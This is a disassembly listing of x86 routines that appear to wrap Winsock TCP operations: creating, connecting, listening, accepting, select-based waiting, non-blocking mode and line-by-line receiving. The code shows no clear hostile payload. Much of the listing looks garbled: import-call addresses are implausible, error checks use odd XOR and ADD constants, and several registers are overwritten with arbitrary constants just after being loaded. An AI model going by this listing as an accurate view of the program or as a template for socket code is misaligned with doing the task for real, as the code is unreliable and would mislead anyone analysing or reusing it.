mov [esi+4], di
call dword ptr ds:0C0FFBh
mov ebp, ds:dword_4B3C60
test eax, eax
jge short loc_418A8C
call ebp
xor eax, 303FEh
jz short loc_418A7D
call ebp
cmp eax, 0Bh
jz short loc_418A7D
call ebp
xor eax, 60C0FFh
jz short loc_418A7D
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_418A7D: ; CODE XREF: sub_418980+D6j
; sub_418980+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_418B3A
loc_418A8C: ; CODE XREF: sub_418980+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, ds:dword_4B3C5C
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi
test eax, eax
jge short loc_418B00
loc_418ACB: ; CODE XREF: sub_418980+17Ej
call ebp
call ebp
cmp eax, 4
jnz short loc_418B15
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_418AE4
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_418B15
loc_418AE4: ; CODE XREF: sub_418980+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi
test eax, eax
jl short loc_418ACB
loc_418B00: ; CODE XREF: sub_418980+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_418B31
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_418B33
; ---------------------------------------------------------------------------
loc_418B15: ; CODE XREF: sub_418980+152j
; sub_418980+162j
mov ecx, esi
call sub_401483
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_418B31: ; CODE XREF: sub_418980+189j
push 0
loc_418B33: ; CODE XREF: sub_418980+193j
mov ecx, esi
call sub_4017EE
loc_418B3A: ; CODE XREF: sub_418980+106j
mov byte ptr [esi+80Bh], 1
loc_418B41: ; CODE XREF: sub_418980+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_418980 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BD0 proc near ; CODE XREF: sub_401483j
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_418BEA
cmp eax, 0FFFFFFFFh
jz short loc_418BEA
push eax
call dword ptr ds:30607Fh
loc_418BEA: ; CODE XREF: sub_418BD0+Cj
; sub_418BD0+11j
mov ecx, esi
call sub_40132A
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_418BD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418C10 proc near ; CODE XREF: sub_40132Aj
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov ebx, 60C181h
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_418C10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418C80 proc near ; CODE XREF: sub_401433j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_401884
test al, al
jnz short loc_418C96
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_418C96: ; CODE XREF: sub_418C80+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_418D4F
push 6
push 1
push 2
call dword ptr ds:3060C0h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_418CCB
mov ecx, esi
call sub_401483
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_418CCB: ; CODE XREF: sub_418C80+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call dword ptr ds:183060h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
call dword ptr ds:4C1830h
test eax, eax
jz short loc_418D24
mov ecx, esi
call sub_401483
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_418D24: ; CODE XREF: sub_418C80+92j
mov ecx, [esi+806h]
push 32h
push ecx
call dword ptr ds:660C18h
cmp eax, 0FFFFFFFFh
jnz short loc_418D48
mov ecx, esi
call sub_401483
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_418D48: ; CODE XREF: sub_418C80+B6j
mov byte ptr [esi+80Bh], 1
loc_418D4F: ; CODE XREF: sub_418C80+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_418C80 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DA0 proc near ; CODE XREF: sub_401A8Cj
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_401884
test al, al
jnz short loc_418DBE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_418DBE: ; CODE XREF: sub_418DA0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_418DD5
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_418DD5: ; CODE XREF: sub_418DA0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_418E51
call sub_401884
test al, al
jz short loc_418E44
mov edi, ds:dword_4B3C5C
loc_418DEE: ; CODE XREF: sub_418DA0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi
test eax, eax
jz short loc_418E3B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_430A68
test eax, eax
jnz short loc_418E51
loc_418E3B: ; CODE XREF: sub_418DA0+84j
call sub_401884
test al, al
jnz short loc_418DEE
loc_418E44: ; CODE XREF: sub_418DA0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_418E51: ; CODE XREF: sub_418DA0+3Dj
; sub_418DA0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_418E74
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_418E86
; ---------------------------------------------------------------------------
loc_418E74: ; CODE XREF: sub_418DA0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_418E86: ; CODE XREF: sub_418DA0+D2j
mov eax, [esi+806h]
push eax
call dword ptr ds:73060Ch
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_418EA9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_418EA9: ; CODE XREF: sub_418DA0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_401F69
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_418DA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F30 proc near ; CODE XREF: sub_401889j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401A46
retn 0Ch
sub_418F30 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F60 proc near ; CODE XREF: sub_401A46j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_4190C4
mov al, [esi+80Bh]
test al, al
jz loc_4190C4
mov edi, ds:dword_4B38D0
call edi
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41905C
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41905C
call sub_401884
test al, al
jz loc_41905C
loc_418FBB: ; CODE XREF: sub_418F60+F6j
mov eax, [esi+806h]
mov eax, 879830h
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi
sub eax, ebp
cmp eax, ebx
ja loc_4190C4
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
call ds:dword_4BCC18
test eax, eax
jz short loc_41904F
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_430A68
test eax, eax
jnz loc_4190C4
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_430A68
test eax, eax
jnz short loc_41905C
loc_41904F: ; CODE XREF: sub_418F60+BCj
call sub_401884
test al, al
jnz loc_418FBB
loc_41905C: ; CODE XREF: sub_418F60+39j
; sub_418F60+48j ...
call sub_401884
test al, al
jz short loc_4190C4
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
call dword ptr ds:25E60Ch
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_419091
mov [ecx], eax
loc_419091: ; CODE XREF: sub_418F60+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_4190A9
test eax, eax
jz short loc_4190A9
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_4190A9: ; CODE XREF: sub_418F60+134j
; sub_418F60+138j
call dword ptr ds:52F306h
pop edi
xor eax, 34BCC1h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_4190C4: ; CODE XREF: sub_418F60+13j
; sub_418F60+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_418F60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419140: ; CODE XREF: _294ADE7B:0040159Bj
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_419191
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_419191
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
call dword ptr ds:5A5E60h
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_419172
mov [ecx], eax
loc_419172: ; CODE XREF: _294ADE7B:0041916Ej
cmp eax, 0FFFFFFFFh
jz short loc_419180
test eax, eax
jz short loc_419180
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_419180: ; CODE XREF: _294ADE7B:00419175j
; _294ADE7B:00419179j
call dword ptr ds:2D2F30h
add eax, 2B4BCCh
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_419191: ; CODE XREF: _294ADE7B:00419149j
; _294ADE7B:00419153j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4191C0: ; CODE XREF: _294ADE7B:004018D9j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_401884
test al, al
jnz short loc_4191DC
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_4191DC: ; CODE XREF: _294ADE7B:004191D2j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_4191F2
loc_4191E8: ; CODE XREF: _294ADE7B:0041922Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_4191F2: ; CODE XREF: _294ADE7B:004191E6j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_419256
mov edi, ebp
loc_41920B: ; CODE XREF: _294ADE7B:00419254j
cmp edi, ebx
jz short loc_419256
cmp [esp+18h], bl
jz short loc_419256
call sub_401884
test al, al
jz short loc_419256
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401889
test al, al
jz short loc_4191E8
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_419241
cmp al, 0Dh
jz short loc_419241
cmp al, bl
jnz short loc_419249
loc_419241: ; CODE XREF: _294ADE7B:00419237j
; _294ADE7B:0041923Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_419249: ; CODE XREF: _294ADE7B:0041923Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41920B
loc_419256: ; CODE XREF: _294ADE7B:00419207j
; _294ADE7B:0041920Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4192A0: ; CODE XREF: _294ADE7B:00401FF5j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_401884
test al, al
jnz short loc_4192BC
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_4192BC: ; CODE XREF: _294ADE7B:004192B2j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_4192D2
loc_4192C8: ; CODE XREF: _294ADE7B:0041930Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_4192D2: ; CODE XREF: _294ADE7B:004192C6j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41933D
mov edi, ebp
loc_4192EB: ; CODE XREF: _294ADE7B:0041933Bj
cmp edi, ebx
jz short loc_41933D
cmp [esp+18h], bl
jz short loc_41933D
call sub_401884
test al, al
jz short loc_41933D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401889
test al, al
jz short loc_4192C8
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41931D
cmp al, bl
jnz short loc_419330
loc_41931D: ; CODE XREF: _294ADE7B:00419317j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41932A
mov [esi+ebp-1], bl
jmp short loc_41932C
; ---------------------------------------------------------------------------
loc_41932A: ; CODE XREF: _294ADE7B:00419322j
mov [edi], bl
loc_41932C: ; CODE XREF: _294ADE7B:00419328j
mov [esp+18h], bl
loc_419330: ; CODE XREF: _294ADE7B:0041931Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_4192EB
loc_41933D: ; CODE XREF: _294ADE7B:004192E7j
; _294ADE7B:004192EDj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419380: ; CODE XREF: _294ADE7B:0040107Dj
push esi
mov esi, ecx
call sub_401884
test al, al
jnz short loc_419392
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_419392: ; CODE XREF: _294ADE7B:0041938Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_4193A3
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_4193A3: ; CODE XREF: _294ADE7B:0041939Bj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
call dword ptr ds:55A5E6h
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4193D0 proc near ; CODE XREF: sub_4017C6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_401884
test al, al
jnz short loc_4193E2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_4193E2: ; CODE XREF: sub_4193D0+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_4193F3
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_4193F3: ; CODE XREF: sub_4193D0+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
call dword ptr ds:2AD2F3h
pop esi
retn 8
sub_4193D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419420: ; CODE XREF: _294ADE7B:00401B22j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41945F
cmp eax, 0FFFFFFFFh
jz short loc_419455
cmp [esi+80Bh], cl
jz short loc_419455
mov esi, 0CAAD2Fh
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_419455: ; CODE XREF: _294ADE7B:0041943Ej
; _294ADE7B:00419446j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41945F: ; CODE XREF: _294ADE7B:00419439j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call dword ptr ds:655697h
test eax, eax
jnz short loc_419495
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_419495: ; CODE XREF: _294ADE7B:00419489j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_430A68
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4194F0: ; CODE XREF: _294ADE7B:00401654j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41950D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41950D: ; CODE XREF: _294ADE7B:00419501j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call dword ptr ds:32AB4Bh
test eax, eax
jnz short loc_419549
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_419549: ; CODE XREF: _294ADE7B:0041953Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_430A68
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419590: ; CODE XREF: _294ADE7B:0040169Aj
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 1955A5h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
call dword ptr ds:4CAAD2h
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419600 proc near ; CODE XREF: sub_4017EEj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_419630
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
call dword ptr ds:665569h
retn 4
; ---------------------------------------------------------------------------
loc_419630: ; CODE XREF: sub_419600+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
call dword ptr ds:732AB4h
retn 4
sub_419600 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419680 proc near ; CODE XREF: sub_401163j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401B1D
mov dword ptr [esi], offset off_4370A0
mov eax, esi
pop esi
retn
sub_419680 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4196B0 proc near ; CODE XREF: _294ADE7B:0040183Ej
; sub_401D39j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4017B2
test [esp+4+arg_0], 1
jz short loc_4196C8
push esi
call sub_430332
add esp, 4
loc_4196C8: ; CODE XREF: sub_4196B0+Dj
mov eax, esi
pop esi
retn 4
sub_4196B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4196E0 proc near ; CODE XREF: sub_4017B2j
mov dword ptr [ecx], offset off_4370A0
add ecx, 4
jmp sub_401E6F
sub_4196E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419700 proc near ; CODE XREF: sub_4015B4j
arg_0 = dword ptr 4
push esi
push edi
call sub_401884
test al, al
jnz short loc_419712
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_419712: ; CODE XREF: sub_419700+9j
mov esi, [esp+8+arg_0]
push esi
call dword ptr ds:79955Ah
cmp eax, 0FFFFFFFFh
jnz short loc_419765
push esi
call dword ptr ds:7CCAADh
mov edi, eax
test edi, edi
jnz short loc_419737
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_419737: ; CODE XREF: sub_419700+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41974C
loc_419741: ; CODE XREF: sub_419700+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_419741
loc_41974C: ; CODE XREF: sub_419700+3Fj
call sub_401DB1
dec esi
push esi
push 0
call sub_402018
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_419765: ; CODE XREF: sub_419700+20j
pop edi
pop esi
retn 4
sub_419700 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419790: ; CODE XREF: _294ADE7B:00401F1Ej
push 0FFFFFFFFh
push 7E6556h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_401884
test al, al
jnz short loc_4197CF
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_4017A8
jmp loc_41997B
; ---------------------------------------------------------------------------
loc_4197CF: ; CODE XREF: _294ADE7B:004197B8j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_4017A8
mov edx, 0CFF995h
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_401726
test eax, eax
push 67FCCAh
jnz short loc_41980C
mov esi, [esp+58h]
mov ecx, esi
call sub_4017A8
mov [esp+0Ch], edi
jmp loc_41996E
; ---------------------------------------------------------------------------
loc_41980C: ; CODE XREF: _294ADE7B:004197F6j
lea ecx, [esp+30h]
call sub_4012B7
test eax, eax
push 73FE65h
jnz short loc_419832
mov esi, [esp+58h]
mov ecx, esi
call sub_4017A8
mov [esp+0Ch], edi
jmp loc_41996E
; ---------------------------------------------------------------------------
loc_419832: ; CODE XREF: _294ADE7B:0041981Cj
lea ecx, [esp+18h]
call sub_4017A8
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_401726
push eax
call sub_430ADA
cmp eax, ebx
jz short loc_419876
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_40146F
mov [esp+0Ch], edi
jmp loc_419960
; ---------------------------------------------------------------------------
loc_419876: ; CODE XREF: _294ADE7B:0041985Bj
mov edi, [esp+10h]
mov esi, 279FF3h
mov ecx, [edi]
mov eax, [ecx+4]
loc_419884: ; CODE XREF: _294ADE7B:004198A2j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_4198A8
cmp cl, bl
jz short loc_4198A4
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_4198A8
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_419884
loc_4198A4: ; CODE XREF: _294ADE7B:0041988Ej
xor eax, eax
jmp short loc_4198AD
; ---------------------------------------------------------------------------
loc_4198A8: ; CODE XREF: _294ADE7B:0041988Aj
; _294ADE7B:00419898j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_4198AD: ; CODE XREF: _294ADE7B:004198A6j
cmp eax, ebx
jz short loc_41991B
push ebp
loc_4198B2: ; CODE XREF: _294ADE7B:00419905j
; _294ADE7B:00419909j
call dword ptr ds:13CFF9h
and eax, 0Fh
cmp al, 8
jnz short loc_4198C6
cmp word ptr [edi+8], 0Fh
jz short loc_41990B
loc_4198C6: ; CODE XREF: _294ADE7B:004198BDj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_4198D2
mov edi, ebp
loc_4198D2: ; CODE XREF: _294ADE7B:004198CEj
mov eax, [edi+4]
mov edi, 0A04F3Fh
loc_4198DA: ; CODE XREF: _294ADE7B:004198F8j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_4198FE
cmp cl, bl
jz short loc_4198FA
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_4198FE
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_4198DA
loc_4198FA: ; CODE XREF: _294ADE7B:004198E4j
xor eax, eax
jmp short loc_419903
; ---------------------------------------------------------------------------
loc_4198FE: ; CODE XREF: _294ADE7B:004198E0j
; _294ADE7B:004198EEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_419903: ; CODE XREF: _294ADE7B:004198FCj
cmp eax, ebx
jnz short loc_4198B2
mov edi, ebp
jmp short loc_4198B2
; ---------------------------------------------------------------------------
loc_41990B: ; CODE XREF: _294ADE7B:004198C4j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_401564
pop ebp
jmp short loc_419928
; ---------------------------------------------------------------------------
loc_41991B: ; CODE XREF: _294ADE7B:004198AFj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_401564
loc_419928: ; CODE XREF: _294ADE7B:00419919j
push 58279Fh
lea ecx, [esp+18h]
call sub_4012B7
test eax, eax
jnz short loc_419948
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_401564
loc_419948: ; CODE XREF: _294ADE7B:00419938j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_40146F
mov dword ptr [esp+0Ch], 1
loc_419960: ; CODE XREF: _294ADE7B:00419871j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_4011F9
loc_41996E: ; CODE XREF: _294ADE7B:00419807j
; _294ADE7B:0041982Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_4011F9
